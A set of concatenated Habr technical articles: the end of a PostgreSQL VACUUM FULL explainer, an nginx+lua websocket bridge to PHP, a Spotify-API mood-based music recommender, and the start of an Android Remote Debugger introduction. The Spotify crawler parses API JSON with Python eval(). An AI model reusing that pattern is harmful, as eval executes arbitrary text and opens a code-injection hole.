=> VACUUM vac;
=> SELECT pg_size_pretty(pg_table_size('vac')) table_size,
pg_size_pretty(pg_indexes_size('vac')) index_size;
```
```
table_size | index_size
------------+------------
65 MB | 69 MB
(1 row)
```
We can see that the size did not change: VACUUM no way can reduce the size of files. And this is although the information density decreased by approximately 10 times:
```
=> SELECT vac.tuple_percent, vac_s.avg_leaf_density
FROM pgstattuple('vac') vac, pgstatindex('vac_s') vac_s;
```
```
tuple_percent | avg_leaf_density
---------------+------------------
9.41 | 9.73
(1 row)
```
Now let's check what we get after VACUUM FULL. Now the table and indexes use the following files:
```
=> SELECT pg_relation_filepath('vac'), pg_relation_filepath('vac_s');
```
```
pg_relation_filepath | pg_relation_filepath
----------------------+----------------------
base/41493/57392 | base/41493/57393
(1 row)
```
```
=> VACUUM FULL vac;
=> SELECT pg_relation_filepath('vac'), pg_relation_filepath('vac_s');
```
```
pg_relation_filepath | pg_relation_filepath
----------------------+----------------------
base/41493/57404 | base/41493/57407
(1 row)
```
The files are replaced with new ones now. The sizes of the table and indexes considerably decreased, while the information density increased accordingly:
```
=> SELECT pg_size_pretty(pg_table_size('vac')) table_size,
pg_size_pretty(pg_indexes_size('vac')) index_size;
```
```
table_size | index_size
------------+------------
6648 kB | 6480 kB
(1 row)
```
```
=> SELECT vac.tuple_percent, vac_s.avg_leaf_density
FROM pgstattuple('vac') vac, pgstatindex('vac_s') vac_s;
```
```
tuple_percent | avg_leaf_density
---------------+------------------
94.39 | 91.08
(1 row)
```
Note that the information density in the index is even greater than the original one. It is more advantageous to rebuild an index (B-tree) from the data available than insert the data in an existing index row by row.
The functions of the [pgstattuple](https://postgrespro.com/docs/postgresql/11/pgstattuple) extension that we used read the entire table. But this is inconvenient if the table is large, so the extension has the `pgstattuple_approx` function, which skips the pages marked in the visibility map and shows approximate figures.
One more way, but even less accurate, is to use the system catalog to roughly estimate the ratio of the data size to the file size. You can find examples of such queries [in wiki](https://wiki.postgresql.org/wiki/Show_database_bloat).
VACUUM FULL is not intended for regular use since it blocks any work with the table (querying included) for all the duration of the process. It's clear that for a heavily used system, this may appear unacceptable. Locks will be discussed separately, and now we'll only mention the [pg\_repack](https://github.com/reorg/pg_repack) extension, which locks the table for only a short period of time at the end of the work.
Similar commands
----------------
There are a few commands that also fully rebuild tables and indexes and therefore resemble VACUUM FULL. All of them fully block any work with the table, they all remove old data files and create new ones.
The CLUSTER command is in all similar to VACUUM FULL, but it also physically orders tuples according to one of the available indexes. This enables the planner to use index access more efficiently in some cases. But we should bear in mind that clustering is not maintained: the physical order of tuples will be broken with subsequent changes of the table.
The REINDEX command rebuilds a separate index on the table. VACUUM FULL and CLUSTER actually use this command to rebuild indexes.
The logic of the TRUNCATE command is similar to that of DELETE — it deletes all table rows. But DELETE, as was already mentioned, only marks tuples as deleted, and this requires further vacuuming. And TRUNCATE just creates a new, clean file instead. As a rule, this works faster, but we should mind that TRUNCATE will block any work with the table up to the end of the transaction.
[Read on](https://habr.com/ru/company/postgrespro/blog/486104/). | https://habr.com/ru/post/484106/ | null | en | null |
# Быстрый пул для php+websocket без прослойки nodejs на основе lua+nginx
Кратко: nginx не умеет пулить websockets, а php работает per request. Нужна прослойка которая будет держать открытыми вебсокеты и при поступлении данных соединяться с php (через тот же fastcgi) и отправлять обратно ответ.
update: Здесь не идётся про решения на php, так как по сравнению даже с nodejs, они гораздо медленнее.
Тема, как оказалось, не нова, исходники тянуться аж из 2014, но, тем не менее, информации о трюке, про который здесь пойдёт речь, крайне мало. Можете погуглить "[websockets php](https://www.google.com/search?dcr=0&q=websockets+php+nginx&spell=1&sa=X&ved=0ahUKEwjXxp6SyL7WAhVMGZoKHZi9CnIQvwUIIygA&biw=1715&bih=925)". Усугубляется тема ещё тем, что найденные примеры реализации (два, точнее) не работают, включая тот, что в документации :)
Вот где-то внутри чувствовал, знал, что есть. Мне настолько давно хотелось иметь этот Middleware внутри Nginx, чтобы не использовать разные довольно медленные php библиотеки ([раз](https://habrahabr.ru/post/331462/) и [два](https://habrahabr.ru/post/331462/)) и обойти стороной однопоточность nodejs. А вебсокетов хочется много (и как можно больше), и чтобы лишние затраты на прослойку были поменьше. Так вот, дабы не плодить кучу машин с nodejs (в будущем при высоких нагрузках так и поступают обычно), воспользуемся тем, что предоставляет Nginx с некоторыми пристройками в виде lua + resty. Nginx+lua можно установить из пакета *nginx-extras* или же собрать самому. От Resty нам понадобятся только [websockets](https://github.com/openresty/lua-resty-websocket). Скачиваем и закидываем содержимое каталога lib куда-нибудь себе в пути (у меня это */home/username/lib/lua/lib*, а по-хорошему надо бы в */usr/local/share/lua*).
Стандартно nginx+websockets работает так:
1. Клиент соединяется с nginx
2. Nginx проксирует в upstream/открывает прокси поток с другим сервером (Middle Server на основе nodejs + sockets.io например), обслуживающим websockets.
3. Middle Server сервер кидает socket соединение в какой-нибудь слушатель событий типа epoll и ждёт данных.
4. При получении данных, Middle Server сервер, в свою очередь, открывает Fastcgi соединение с php, ожидает и забирает ответ. Отправляет его в socket. Возвращает socket снова в ожидание данных.
5. И так по кругу, пока не прийдёт специальный фрейм закрытия websocket.
Всё просто, кроме накладных расходов на ресурсы и однопоточность этого решения.
В предлагаемой схеме MiddleServer превращается в middleware внутри nginx. К тому же нет никакого ожидания Fastcgi, всю работу делает тот же epoll, к которому nginx доверяет открытый сокет, а тем временем поток nginx'a может заняться другими делами. Схема позволяет одновременно работать с кучей вебсокетов раскиданными по потокам.
Здесь приведу только упрощённый код, который относится к задаче без остальных настроек хостинга. Я не старался сделать правильными все заголовки за ненадобностью оных.
```
lua_package_path "/home/username/lib/lua/lib/?.lua;;";
server {
# магия, которая держит вебсокет открытым столько, сколько нам надо внутри nginx
location ~ ^/ws/?(.*)$ {
default_type 'plain/text';
# всё что надо здесь для веб сокета - это включить луа, который будет его хендлить
content_by_lua_file /home/username/www/wsexample.local/ws.lua;
}
# а это магия, которая отдаёт ответы от php
# я шлю только POST запросы, чтобы нормально передать json payload
location ~ ^/lua_fastcgi_connection(/?.*)$ {
internal; # видно только подзапросам внутри nginx
fastcgi_pass_request_body on;
fastcgi_pass_request_headers off;
# never never use it for lua handler
#include snippets/fastcgi-php.conf;
fastcgi_param QUERY_STRING $query_string;
fastcgi_param REQUEST_METHOD "POST"; # $request_method;
fastcgi_param CONTENT_TYPE "application/x-www-form-urlencoded"; #вместо $content_type;
fastcgi_param CONTENT_LENGTH $content_length;
fastcgi_param DOCUMENT_URI "$1"; # вместо $document_uri
fastcgi_param DOCUMENT_ROOT $document_root;
fastcgi_param SERVER_PROTOCOL $server_protocol;
fastcgi_param REQUEST_SCHEME $scheme;
fastcgi_param HTTPS $https if_not_empty;
fastcgi_param GATEWAY_INTERFACE CGI/1.1;
fastcgi_param SERVER_SOFTWARE nginx/$nginx_version;
fastcgi_param REMOTE_ADDR $remote_addr;
fastcgi_param REMOTE_PORT $remote_port;
fastcgi_param SERVER_ADDR $server_addr;
fastcgi_param SERVER_PORT $server_port;
fastcgi_param SERVER_NAME $server_name;
fastcgi_param SCRIPT_FILENAME "$document_root/mywebsockethandler.php";
fastcgi_param SCRIPT_NAME "/mywebsockethandler.php";
fastcgi_param REQUEST_URI "$1"; # здесь вообще может быть что угодно. А можно передать параметр из lua чтобы сделать какой-нибудь роутинг внутри php обработчика.
fastcgi_pass unix:/var/run/php/php7.1-fpm.sock;
fastcgi_keep_conn on;
}
```
И код ws.lua:
```
local server = require "resty.websocket.server"
local wb, err = server:new{
-- timeout = 5000, -- in milliseconds -- не надо нам таймаут
max_payload_len = 65535,
}
if not wb then
ngx.log(ngx.ERR, "failed to new websocket: ", err)
return ngx.exit(444)
end
while true do
local data, typ, err = wb:recv_frame()
if wb.fatal then return
elseif not data then
ngx.log(ngx.DEBUG, "Sending Websocket ping")
wb:send_ping()
elseif typ == "close" then
-- send a close frame back:
local bytes, err = wb:send_close(1000, "enough, enough!")
if not bytes then
ngx.log(ngx.ERR, "failed to send the close frame: ", err)
return
end
local code = err
ngx.log(ngx.INFO, "closing with status code ", code, " and message ", data)
break;
elseif typ == "ping" then
-- send a pong frame back:
local bytes, err = wb:send_pong(data)
if not bytes then
ngx.log(ngx.ERR, "failed to send frame: ", err)
return
end
elseif typ == "pong" then
-- just discard the incoming pong frame
elseif data then
-- здесь в пути передаётся реальный uri, а json payload уходит в body
local res = ngx.location.capture("/lua_fastcgi_connection"..ngx.var.request_uri,{method=ngx.HTTP_POST,body=data})
if wb == nil then
ngx.log(ngx.ERR, "WebSocket instaince is NIL");
return ngx.exit(444)
end
wb:send_text(res.body)
else
ngx.log(ngx.INFO, "received a frame of type ", typ, " and payload ", data)
end
end
```
Что ещё можно с этим сделать? Замерить скорость и сравнить с nodejs :) А можно внутри lua делать запросы в Redis, MySQL, Postgres… проверять куки и прочие токены авторизации, [обрабатывать сессии](https://habrahabr.ru/post/270463/), кешировать ответы в memcached и потом быстро-быстро отдавать другим клиентам с одинаковыми запросами внутри websocket.
Известные мне недоработки: максимальный размер пакета данных по вебсокету 65Кб. При желании можно дописать разбитие на фреймы. Протокол не сложный.
Тестовый html (ws.html):
**HTML тут**
```
"use strict";
let socket;
function tryWebSocket() {
socket = new WebSocket("ws://try6.local/ws/");
socket.onopen = function() {
console.log("Соединение установлено.");
};
socket.onclose = function(event) {
if (event.wasClean) {
console.log('Соединение закрыто чисто');
} else {
console.log('Обрыв соединения'); // например, "убит" процесс сервера
}
console.log('Код: ' + event.code + ' причина: ' + event.reason);
};
socket.onmessage = function(event) {
console.log("Получены данные " + event.data);
};
socket.onerror = function(error) {
console.log("Ошибка " + error.message);
};
}
function tryWSSend(event) {
let msg = document.getElementById('msg');
socket.send(msg.value);
event.stopPropagation();
event.preventDefault();
return false;
}
function closeWebSocket(event) {
socket.close();
}
Try WebSocket
Message:
Close Websocket
```
Тестовый php (mywebsockethandler.php):
**PHP тут**
```
php
header("Content-Type: application/json; charset=utf-8");
echo json_encode(["status"="ok","response"=>"php websocket json @ ".time(), "payload"=>[$_REQUEST,$_SERVER]]);
exit;
```
Чтобы воспользоваться FastCGI для Lua, установите [ещё одно](https://github.com/benagricola/lua-resty-fastcgi) Resty расширение. | https://habr.com/ru/post/338614/ | null | ru | null |
# Пишем систему рекомендаций музыки на основе ML
К старту [курса по ML и DL](https://skillfactory.ru/machine-learning-i-deep-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_241021&utm_term=lead) рассказываем, как воспользоваться API Spotify, чтобы создать систему рекомендаций музыки под настроение на основе алгоритмов ML. Благодаря простоте систему легко настроить под ваши нужды: API Spotify возвращает понятные человеку признаки музыкального файла, например тембр. За подробностями приглашаем под кат.
---
Чтобы создать систему музыкальных рекомендаций, нужно абстрагироваться от жанров и — что сложнее — найти количественные методы превращения идей в полезный инструмент рекомендаций. Посмотрим, как это сделать. Методы рекомендаций делятся на две основные ветви.
### Коллаборативная фильтрация
В ней поведение пользователя моделируется, а затем статистически прогнозируется, что понравится конкретному пользователю в конкретной ситуации. В ход идёт сакраментальное «другие пользователи также приобрели...». Учитывается и общая популярность. Так, случайному пользователю Дрейк по статистике понравится больше Slipknot. Особенно, если ему нравятся и другие рэп-исполнители.
### Фильтрация по содержанию
Другой подход — извлечь данные из музыкального файла. Например, метаданные — это дата релиза, жанр или лейбл, под которым вышел трек. Или признаки самого аудио — от очевидных тональности и темпа до весьма абстрактных, математических признаков, например MFCC или измерение тембра. Напишем простую и эффективную систему рекомендаций без какого-либо машинного обучения… по крайней мере с вашей стороны.
### Плюсы подхода
Этот подход принципиально отличается от методов коллаборативной фильтрации («другие пользователи также приобрели...»). Особенно он полезен тем, кто не работает с большой музыкальной платформой и не имеет миллиардов релевантных пользовательских точек данных. Ещё один плюс — быстрая и бесплатная реализация, от сбора данных до алгоритма.
Извлекаем данные
----------------
Извлечь аудиоданные с помощью алгоритмов или моделей машинного обучения поиска музыкальной информации — для новичка это сложно. К счастью, умные люди сделали API, где делятся секретами инновационной технологии.
Фрагмент документации API Spotify о доступных характеристиках аудиоAPI от Spotify бесплатный и имеет несколько характеристик настроения, извлекаемых прямо из внутренних моделей машинного обучения. Но как смоделировать настроение всего четырьмя характеристиками: «Танцевальностью», «Валентностью», «Возбуждением» и «Темпом»? Темп при этом [по мнению автора] едва ли отнесёшь к настроению. На самом деле нужны только две характеристики.
Психология: плоскость «валентность — возбуждение»
-------------------------------------------------
Плоскость «валентность — возбуждение» с расположением эмоций (Russel, 1980)Плоскость «валентность — возбуждение» — одна из главных психологических моделей факторной структуры эмоций. Модель описывает, сколько существует независимых измерений эмоций. Эмоции сводятся к двум компонентам — возбуждению (активности или вялости) и валентности (позитиву или негативу).
У этой модели есть проблемы: к примеру, страх и гнев расположены близко, но у неё прекрасный баланс между сложностью и прогностической значимостью, поэтому модель Рассела находит широкое применение. А главное — она сочетается с «валентностью» и «возбуждением» в данных от Spotify. Посмотрим, как получить данные по API и реализуем простую, но эффективную систему рекомендаций.
Собираем данные
---------------
### Авторизация
Для доступа к Spotify API регистрируем приложение согласно [этому](https://developer.spotify.com/documentation/general/guides/authorization-guide/) руководству или смотрим эту [наглядную](https://medium.com/@maxtingle/getting-started-with-spotifys-api-spotipy-197c3dc6353b) статью на Medium. Без авторизации мы не получим данные.
### Подготовка кода
Нам нужна база данных о треках, пакет [tekore](https://github.com/felix-hilden/tekore), Client ID и Secret ID от Spotify для доступа к API. В каталоге проекта пишем скрипт `authorization.py`:
```
import tekore as tk
def authorize():
CLIENT_ID = "ENTER YOUR CLIENT ID HERE"
CLIENT_SECRET = "ENTER YOUR CLIENT SECRET HERE"
app_token = tk.request_client_token(CLIENT_ID, CLIENT_SECRET)
return tk.Spotify(app_token)
```
В коде вводим Client ID и Client Secret ID. Скрипт разрешает доступ к Spotify API и возвращает объект для обращения к API, а ещё служит вспомогательным скриптом. Главное — он гарантирует, что Client ID и Client Secret ID скрыты.
### Получение набора данных Spotify
Командой pip install pandas tqdm устанавливаем нужные пакеты. Копируем и запускаем код ниже и/или следуем краткому обзору кода.
```
#################
## PREPARATION ##
#################
# Import modules
import sys
# If your authentification script is not in the project directory
# append its folder to sys.path
sys.path.append("../spotify_api_web_app")
import authorization
import pandas as pd
from tqdm import tqdm
import time
# Authorize and call access object "sp"
sp = authorization.authorize()
# Get all genres
genres = sp.recommendation_genre_seeds()
# Set number of recommendations per genre
n_recs = 100
# Initiate a dictionary with all the information you want to crawl
data_dict = {"id":[], "genre":[], "track_name":[], "artist_name":[],
"valence":[], "energy":[]}
################
## CRAWL DATA ##
################
# Get recs for every genre
for g in tqdm(genres):
# Get n recommendations
recs = sp.recommendations(genres = [g], limit = n_recs)
# json-like string to dict
recs = eval(recs.json().replace("null", "-999").replace("false", "False").replace("true", "True"))["tracks"]
# Crawl data from each track
for track in recs:
# ID and Genre
data_dict["id"].append(track["id"])
data_dict["genre"].append(g)
# Metadata
track_meta = sp.track(track["id"])
data_dict["track_name"].append(track_meta.name)
data_dict["artist_name"].append(track_meta.album.artists[0].name)
# Valence and energy
track_features = sp.track_audio_features(track["id"])
data_dict["valence"].append(track_features.valence)
data_dict["energy"].append(track_features.energy)
# Wait 0.2 seconds per track so that the api doesnt overheat
time.sleep(0.2)
##################
## PROCESS DATA ##
##################
# Store data in dataframe
df = pd.DataFrame(data_dict)
# Drop duplicates
df.drop_duplicates(subset = "id", keep = "first", inplace = True)
df.to_csv("valence_arousal_dataset.csv", index = False)
```
### Как работает код
1. Вспомогательный скрипт выполняет авторизацию.
2. С помощью `sp.recommendation_genre_seeds()` получаем все 120 жанров Spotify.
3. Устанавливаем на максимум число рекомендаций на жанр (100).
4. Задаём словарь для всех данных из API.
5. Проходимся по каждому жанру и треку.
6. Получаем метаданные и аудио информацию и сохраняем в `data_dict`.
7. Преобразуем словарь во фрейм pandas.
8. После удаления дублей идентификаторов экспортируем её в рабочий каталог.
У нас получился набор данных `valence_arousal_dataset.csv` для системы рекомендаций.
Как использовать валентность и возбуждение для рекомендаций
-----------------------------------------------------------
Посмотрите на график ниже:
Векторы на плоскости «валентность — возбуждение». Расположение приблизительноеКаждый вектор с координатами «валентности» и «возбуждения» соединён с другими треками линиями. Мы видим, что эмоциональный профиль Thriller исполнителя Майкла Джексона больше похож на Rosanna.
Измерим длину векторов, или их «норму». Вот формула: *sqrt(a²+b²)*. Пример:
1. Допустим «валентность» трека — 0,5, а его «возбуждение» — 1, то есть он имеет координаты (0,5, 1).
2. Тогда расстояние от начала координат до трека равно *sqrt((0,5)² + 1²*) = 1,12.
Тогда расстояние от начала координат до трека равно *sqrt((0,5)² + 1²*) = 1,12.
Точно так же нужно найти векторы, соединяющие трек со всеми остальными треками: применить формулу и взять вектор с наименьшей длиной.
Жёлтый вектор из точки *p1* в точку *p2* определяется как разность двух векторов: p2 - p1*.* Поэтому «расстояние настроения» между треками t1 и t2 равно норме (t2 - t1). Иначе говоря, из t2 вычитается t1 и по формуле вычисляется норма результирующего вектора. В коде на Python это реализуется просто:
```
def distance(p1, p2):
distance_x = p2[0] - p1[0]
distance_y = p2[1] - p1[1]
distance_vec = [distance_x, distance_y]
norm = (distance_vec[0]**2 + distance_vec[1]**2)**(1/2)
return norm
```
В своём коде я воспользовался `numpy.linalg.norm(p2-p1)`, которая делает то же самое.
### Проблемы
Ещё до реализации системы обозначим две статистические проблемы. Если они не важны для вас, пропускайте эту часть или вернитесь к ней позже.
Распределение признаков «валентность» и «возбуждение»У двух наших признаков совершенно разные распределения: у «валентности» оно близко к очень плоскому нормальному распределению, а у «возбуждения» сильно скошено.
Скачок на 0,2 «валентности» не всегда совпадает со скачком на 0,2 «возбуждения». Для модели это — недостаток. Она предполагает, что вектор (0,5, 0,5) так же близок к (0,7, 0,5), как и к (0,5, 0,7). Чтобы разрешить этот конфликт, применяется [z-преобразование](https://medium.com/analytics-vidhya/z-score-in-detail-9dd0f0afa142), но здесь мы его не рассматриваем.
Корреляция «валентности» и «возбуждения», линейная регрессияДругая проблема показана на рисунке выше. В теории психологии валентность и возбуждение — два статистически независимых измерения эмоций. Но, если нанести все 12 000 треков из набора данных на плоскость «валентность — возбуждение», мы увидим, что при увеличении «валентности» увеличивается и «возбуждение».
Наклон линии регрессии 0,250 указывает на существенную корреляцию валентности и возбуждения. К сожалению, здесь нет решения: эта ошибка (по крайней мере в нашем случае) заложена в Spotify API.
Алгоритм рекомендаций
---------------------
Окончательный вариант алгоритма рекомендаций прост. Пройдём его последние этапы. Весь алгоритм вы найдёте в [этом](https://github.com/MaxHilsdorf/mood-based-music-recommendation-system/blob/main/recommendation_system.ipynb) блокноте.
Импортируем модули:
```
import pandas as pd
import random
import authorization # this is the script we created earlier
import numpy as np
from numpy.linalg import norm
```
Считываем данные 12 000 треков из фрейма:
```
df = pd.read_csv("valence_arousal_dataset.csv")
```
Комбинируем столбцы «валентности» и «возбуждения» и создаём для каждого трека единый вектор mood\_vec:
```
df["mood_vec"] = df[["valence", "energy"]].values.tolist()
```
Последний этап перед реализацией алгоритма рекомендаций — авторизация для доступа к API Spotify:
```
sp = authorization.authorize()
```
Реализуем алгоритм рекомендаций на основе длины вектора:
```
def recommend(track_id, ref_df, sp, n_recs = 5):
# Crawl valence and arousal of given track from spotify api
track_features = sp.track_audio_features(track_id)
track_moodvec = np.array([track_features.valence, track_features.energy])
# Compute distances to all reference tracks
ref_df["distances"] = ref_df["mood_vec"].apply(lambda x: norm(track_moodvec-np.array(x)))
# Sort distances from lowest to highest
ref_df_sorted = ref_df.sort_values(by = "distances", ascending = True)
# If the input track is in the reference set, it will have a distance of 0, but should not be recommendet
ref_df_sorted = ref_df_sorted[ref_df_sorted["id"] != track_id]
# Return n recommendations
return ref_df_sorted.iloc[:n_recs]
```
Проверим алгоритм
-----------------
Остаётся проверить, даёт ли алгоритм значимые результаты. У каждого трека на Spotify есть идентификатор, который содержится в ссылке на песню:
Получим ссылку: [https://open.spotify.com/track/**3JOVTQ5h8HGFnDdp4VT3MP**?si=96f7844315434b0a](https://open.spotify.com/track/3JOVTQ5h8HGFnDdp4VT3MP?si=96f7844315434b0a). Идентификатор трека — это выделенная строка [3JOVTQ5h8HGFnDdp4VT3MP](https://open.spotify.com/track/3JOVTQ5h8HGFnDdp4VT3MP?si=96f7844315434b0a).
### Gary Jules — Mad World
Добавим трек Mad World с «валентностью» 0,30 и «возбуждением» 0,06.
```
mad_world = "3JOVTQ5h8HGFnDdp4VT3MP"
recommend(track_id = mad_world, ref_df = df, sp = sp, n_recs = 5)
```
Лучшая рекомендация с «валентностью» 0,31 и «возбуждением» 0,05 — это Glory Manger от Harry Belafonte.
Неплохо! Хотя Glory Manger из совершенно другого жанра, алгоритм подобрал этот трек как имеющий схожие уровни «валентности» и «возбуждения».
### Rosanna, Toto
Попробуем ещё! Rosanna имеет «валентность» 0,739 и «возбуждение» 0,513.
Лучшая рекомендация с «валентностью» 0,740 и «возбуждением» 0,504 — Sentimientos De Chartón от Duelo.
Снова жанр сильно отличается: это скорее латино, чем поп-рок. Но Sentimientos De Cartón передаёт чувство романтической тоски и одновременно ощущение движения, ритма, которые ощущаются и в Rosanna.
Заключение
----------
Поздравляю! Вы добрались до этого места, а значит — либо создали свою первую систему рекомендаций под настроение, либо хотя бы немного узнали о том, как создать такую систему. Но есть ещё кое-что.
### Как улучшить систему?
* Чтобы расстояния стали точнее, можно применять z-преобразование для признаков «валентности» и «возбуждения».
* В Spotify API есть и другие характеристики: «танцевальность», «акустичность», «темп». Подумайте, как развить плоскость «валентность — возбуждение» или разработать собственный набор переменных.
* Интересно сочетание рекомендаций под настроение и методов коллаборативной фильтрации. После вычисления 10 лучших рекомендаций с «валентностью» и «возбуждением» стоит попробовать изменить порядок рекомендаций по «популярности» — такой признак также есть в API Spotify.
* Можно дать пользователю возможность указать списки жанров — белый и чёрный.
* Стоит расширить эталонный набор данных, изучив возможности Spotify API и проанализировав ещё больше треков. Большая база данных повышает вероятность найти почти идеальное соответствие треков.
Если вы хотите не только использовать машинное обучение, но и понять, как оно работает, то вы можете обратить внимание на наши курсы:
* [Курс «Machine Learning и Deep Learning» (6 месяцев)](https://skillfactory.ru/machine-learning-i-deep-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_241021&utm_term=conc)
* [Профессия Data Scientist (24 месяца)](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_241021&utm_term=conc)
Также вы можете перейти на страницы [из каталога](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_241021&utm_term=conc), чтобы увидеть, как мы готовим специалистов в других направлениях.
Профессии и курсы**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_241021&utm_term=cat)
* [Профессия Data Analyst](https://skillfactory.ru/data-analyst-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_241021&utm_term=cat)
* [Курс «Математика для Data Science»](https://skillfactory.ru/matematika-dlya-data-science#syllabus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mat_241021&utm_term=cat)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/matematika-i-machine-learning-dlya-data-science?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_matml_241021&utm_term=cat)
* [Курс по Data Engineering](https://skillfactory.ru/data-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dea_241021&utm_term=cat)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/machine-learning-i-deep-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_241021&utm_term=cat)
* [Курс по Machine Learning](https://skillfactory.ru/machine-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_ml_241021&utm_term=cat)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_241021&utm_term=cat)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_pws_241021&utm_term=cat)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_241021&utm_term=cat)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_webdev_241021&utm_term=cat)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/ios-razrabotchik-s-nulya?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_ios_241021&utm_term=cat)
* [Профессия Android-разработчик](https://skillfactory.ru/android-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_andr_241021&utm_term=cat)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_java_241021&utm_term=cat)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer-testirovshik-po?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_qaja_241021&utm_term=cat)
* [Профессия C#-разработчик](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_241021&utm_term=cat)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-razrabotchik-na-unity-i-c-sharp?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_gamedev_241021&utm_term=cat)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algoritmy-i-struktury-dannyh?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_algo_241021&utm_term=cat)
* [Профессия C++ разработчик](https://skillfactory.ru/c-plus-plus-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_241021&utm_term=cat)
* [Профессия Этичный хакер](https://skillfactory.ru/cyber-security-etichnij-haker?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_hacker_241021&utm_term=cat)
**А также:**
* [Курс по DevOps](https://skillfactory.ru/devops-ingineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_241021&utm_term=cat)
* [Все курсы](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_241021&utm_term=cat) | https://habr.com/ru/post/585182/ | null | ru | null |
# Android Remote Debugger — удаленная отладка Android приложений
Отладка является важным этапом разработки программного обеспечения. Поиск и исправление ошибок позволяют разрабатывать качественные продукты.
В этой статье я хочу поговорить об отладке именно Android приложений. Android Studio предоставляет нам различные инструменты профилирования, такие как:
* logcat – инструмент для просмотра логов приложения, в том числе и исключений при краше. Его можно использовать как в Android Studio, так и в терминале, через adb;
* Android profiler – мощный инструмент, который позволяет просматривать все сетевые запросы, загрузку процессора, памяти и батареи.
Также существует множество сторонних решений, позволяющих просматривать сетевой трафик, базы данных, shared preferences и др.
У всех этих инструментов есть преимущества и недостатки. К их минусам можно отнести следующее:
* множество зависимостей различных инструментов;
* сложность использования – как правило, все инструменты ориентированы на разработчиков и неудобны другим участникам команды, например, тестировщикам, аналитикам или back-end разработчикам. Обычно последним приходится дергать android-разработчиков, чтобы просмотреть какие-либо логи;
* обязательное подключение телефона к компьютеру, например, через usb-кабель.
На данный момент я не нашел ни одного решения, которое объединяло бы различные инструменты отладки и устраняло бы вышеуказанные проблемы. Поэтому я разработал собственное решение.
### Android Remote Debugger
Мое решение является очень простым в использовании, так как позволяет отлаживать приложение прямо в браузере, без подключения Android устройства к компьютеру. Данное решение включает в себя четыре раздела для отладки:
* Logging — просмотр логов приложения, включая краши;
* Database — просмотр и редактирование записей в базе данных;
* Network — просмотр всех сетевых запросов и ответов в удобном формате;
* SharedPreferences – просмотр и редактирование данных SharedPreferences.
#### Работа с отладчиком
Для работы с отладчиком нужно сделать следующее:
* подключить и проинициализировать библиотеку;
* запустить приложение;
* вы получите уведомление в панели уведомлений, типа `http://xxx.xxx.x.xxx:8080`. Просто откройте браузер на любом компьютере, подключенный к той же сети (Wi-Fi или LAN) что и Ваше Android устройство и перейдите по указанной ссылке;
* Вам будет предложено четыре раздела. Выберите нужный и начните работать с данными подключенного приложения.
Ниже представлены скриншоты некоторых разделов:
#### Logging
#### Database
#### Network
### Описание разделов отладки
Для инициализации библиотеки необходимо вызвать `AndroidRemoteDebugger.init(applicationContext)` в коде приложения. Также можно указать дополнительные параметры с помощью `AndroidRemoteDebugger.Builder`:
```
AndroidRemoteDebugger.init(
new AndroidRemoteDebugger.Builder(applicationContext)
.enabled(boolean) // управление включением
.disableInternalLogging() // отключить внутренние логи Android Remote Debugger
.disableJsonPrettyPrint() // отключение форматирования json в разделах `Logging` и `Network`
.disableNotifications() // отключить показ уведомлений статуса работы Android Remote Debugger
.excludeUncaughtException() // исключить печать логов при краше приложения
.port(int) // использовать другой порт, отличный от 8080
.enableDuplicateLogging() // все логи из раздела `Logging` будут также напечатаны в logcat
.enableDuplicateLogging(new Logger() { // callback для получения всех логов из раздела `Logging`
@Override
public void log(int priority, String tag, String msg, Throwable th) {
}
})
.build()
);
```
